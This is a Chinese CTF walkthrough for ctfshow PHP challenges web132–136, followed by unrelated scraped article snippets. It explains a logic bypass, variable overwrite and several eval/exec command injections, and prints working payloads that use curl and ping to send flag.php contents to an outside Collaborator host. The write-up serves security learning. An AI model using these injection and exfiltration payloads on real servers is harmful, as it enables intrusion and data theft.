ctfshow-web入门-php特性(web132-web136)
目录
1、web132
2、web133
3、web134
4、web135
5、web136
1、web132

存在 robots.txt

访问 /admin

需要传三个参数,并且需要满足:
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}
mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。
当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;
&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。
后面继续判断 $code == 'admin' 即可,payload:
?username=admin&password=&code=admin

拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}
2、web133

正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。
六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?
比如传入:?F=`$F `;sleep 3
观察发现页面确实存在延时,说明 sleep 3 执行成功了。

分析下为什么会这样:
`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;
然后执行 eval("`$F `;");
而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;
因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。
这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:
这个模块说实话我也是第一次用,先随机获取一个域名:
我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
构造 payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
提交 get 请求:

之后刷新一下 Collaborator Client 这边:


这里还可以直接命令执行:
?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`
命令的输出将被插入到 curl 命令的 URL 中

?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`
因为 flag.php 内容是多行,所以结合 grep 找一下。

3、web134

代码审计:
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。
@parse_str($_SERVER['QUERY_STRING']);
解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。
extract($_POST);
将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。
payload:
?_POST[key1]=36d&_POST[key2]=36d
解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。

查看源码:

拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}
4、web135

新增了更多的命令过滤,但是这道题的当前目录可写。
payload:
?F=`$F`; nl f*>1.txt

之后访问 1.txt 即可看到 flag

拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}
当然还可以用 cp、mv 命令:
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
也可以采用 DNS 外带的方法,payload:
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com
用 nl 命令为 flag.php 文件中的每一行添加行号;
用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);
tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。
这里重启了一下容器,因此 flag 有变动。


第 15 行的 flag1 内容:

?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

第 16 行的 flag2 内容:

flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。
5、web136

过滤掉了一些命令和符号
其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:

在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:
(1)system()
用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。
(2)passthru()
用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。
(3)exec()
用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。
我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:
?c=ls|tee 1

访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:

这里的 1.txt是我最开始尝试的:
才发现它过滤掉了点

但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:

仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。

那我直接用重定向啊哈哈哈:
?c=ls />2.txt

访问 2.txt:
果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。

直接读取:
?c=cat /f149_15_h3r3>3.txt


拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}
如果真的是被过滤掉了,那就用 tee 命令代替:
?c=cat /f149_15_h3r3|tee 3
相关文章:
ctfshow-web入门-php特性(web132-web136)
目录 1、web132 2、web133 3、web134 4、web135 5、web136 1、web132 存在 robots.txt 访问 /admin 需要传三个参数,并且需要满足: if($code mt_rand(1,0x36D) && $password $flag || $username "admin"){if($code admin){ech…...
通信原理-实验六:实验测验
实验六 实验测验 一:测验内容和要求 测试需要完成以下几个步骤: 配置好以下网络图;占总分10%(缺少一个扣一分)根据下面图配置好对应的IP和网关以及路由等相关配置,保证设备之间连通正常;占总…...
意得辑润色新用户注册直减15%
ABSJU202 优惠了很多...
重拾CSS,前端样式精读-函数(颜色,计算,图像和图形)
前言 本文收录于CSS系列文章中,欢迎阅读指正 在计算机编程中,函数有着重要的作用和意义,它可以实现封装,复用,模块化,参数等功能效果,在如何在CSS中写变量?一文带你了解前端样式利…...
经纬恒润与奇瑞汽车签订新能源项目重点供应商合作协议,共同开启合作新篇章
近日,2024年国家级芜湖经开区汽车零部件生态大会成功举行,经纬恒润受邀出席,与行业各伙伴齐聚经开区,同绘发展蓝图,助力经开区汽车产业高质量发展。会上,经纬恒润与奇瑞汽车签署合作协议,成为奇…...
@RestController和@Controller
RestController和Controller 在 Spring MVC 中,RestController 和 Controller 是用于定义控制器的注解,但它们有一些重要的区别。下面是对它们的详细解释和示例: Controller Controller 注解用于标记一个类是一个 Spring MVC 控制器&#…...
STM32-寄存器DMA配置指南
配置步骤 在STM32F0xx中文参考手册中的DMA部分在开头给出了配置步骤 每个通道都可以在外设寄存器固定地址和存储器地址之间执行 DMA 传输。DMA 传输的数据 量是可编程的,最大达到 65535。每次传输之后相应的计数寄存器都做一次递减操作,直到 计数为&am…...
【Django】anaconda环境变量配置及配置python虚拟环境
文章目录 配置环境变量配置python虚拟环境查看conda源并配置国内源在虚拟环境中安装django 配置环境变量 control sysdm.cpl,,3笔者anaconda安装目录为C:\ProgramData\anaconda3 那么需要加入path中的有如下三个 C:\ProgramData\anaconda3 C:\ProgramData\anaconda3\Scripts C:…...
保障企业数据主权:安全可控的爬虫工具与管理平台
摘要 在数据驱动的时代,企业对数据的需求日益增长,但如何在保障数据主权的前提下高效采集数据?本文深入探讨了选择安全可控爬虫工具与管理平台的重要性,分析了关键特性,并提出实用建议,助力企业维护数据安…...
NC重建二叉树
系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 给定节点数为…...
2025第十九届中国欧亚国际军民两用技术及西安国防电子航空航天暨无人机展
2025第十九届中国欧亚国际军民两用技术及西安国防电子航空航天暨无人机展 时间:2025年3月14-16日 地点:西安国际会展中心 详询主办方陆先生 I38(前三位) I82I(中间四位) 9I72(后面四位&am…...
电子邮件协议详解
电子邮件作为互联网通信的重要组成部分,已经成为日常交流不可或缺的一部分。为了确保电子邮件的有效传输和管理,计算机网络使用了多种协议。本文将深入探讨电子邮件协议中的三大核心协议:SMTP、POP3 和 IMAP。我们将详细介绍这些协议的工作原…...
C++客户端Qt开发——Qt窗口(工具栏)
2.工具栏 使用QToolBar表示工具栏对象,一个窗口可以有多个工具栏,也可以没有,工具栏往往也可以手动移动位置 ①设置工具栏 #include "mainwindow.h" #include "ui_mainwindow.h" #include<QToolBar> #include<…...
Python酷库之旅-第三方库Pandas(046)
目录 一、用法精讲 161、pandas.Series.cumsum方法 161-1、语法 161-2、参数 161-3、功能 161-4、返回值 161-5、说明 161-6、用法 161-6-1、数据准备 161-6-2、代码示例 161-6-3、结果输出 162、pandas.Series.describe方法 162-1、语法 162-2、参数 162-3、功…...
element表单disabled功能失效问题
element表单disabled功能失效问题 场景:当需要根据商品状态来判断是否开启disabled来禁用表单时, disabled绑定了对应的值, 但无论商品是哪种状态, 表单都能操作, disabled失效 <el-form-item label"商品分类"><el-selectv-model"form.packagesTypeI…...
react防抖和节流hooks封装
一、防抖和节流概述 防抖(debounce)和节流(throttle)是前端经常用到的工具函数。 在进行窗口的resize、scroll,输入框内容校验等操作时,如果事件处理函数调用的频率无限制,会加重浏览器的负担…...
DLMS/COSEM中公开密钥算法的使用_椭圆曲线加密法
1.概述 椭圆曲线密码涉及有限域上的椭圆曲线上的算术运算。椭圆曲线可以定义在任何数字域上(实数、整数、复数),但在密码学中,椭圆曲线最常用于有限素数域。 素数域上的椭圆曲线由一组实数(x, y)组成,满足以下等式: 方程的所有解的集合构成…...
argon主题调整日记
前言 argon主题是一款由solstice23开发的一款简洁美观的WordPress主题,在使用过程中也发现了几个可以优化的点,在查阅主题文档无果后对其进行以下几点修改。 1、使用子主题 为了避免修改源文件而引起主题更新后修改丢失的问题,还是尽量使用子…...
Godot入门 05收集物品
创建新场景,添加Area2D节点,AnimatedSprite2D节点 ,CollisionShape2D节点 添加硬币 按F键居中,放大视图。设置动画速度设为10FPS,加载后自动播放,动画循环 碰撞形状设为圆形,修改Area2D节点为Co…...
353_C++_Boost.Asio库来处理异步操作
逐行解析这段C++代码。该代码使用了Boost.Asio库来处理异步操作,并且使用了智能指针和线程相关的一些内容。 #include <boost/asio.hpp> #include <memory>这两行代码包含了Boost.Asio库和标准库中的智能指针std::shared_ptr的头文件。 /**********************…...
《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
【Linux系统】Linux环境变量:系统配置的隐形指挥官
。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...
解析奥地利 XARION激光超声检测系统:无膜光学麦克风 + 无耦合剂的技术协同优势及多元应用
在工业制造领域,无损检测(NDT)的精度与效率直接影响产品质量与生产安全。奥地利 XARION开发的激光超声精密检测系统,以非接触式光学麦克风技术为核心,打破传统检测瓶颈,为半导体、航空航天、汽车制造等行业提供了高灵敏…...
离线语音识别方案分析
随着人工智能技术的不断发展,语音识别技术也得到了广泛的应用,从智能家居到车载系统,语音识别正在改变我们与设备的交互方式。尤其是离线语音识别,由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力,广…...
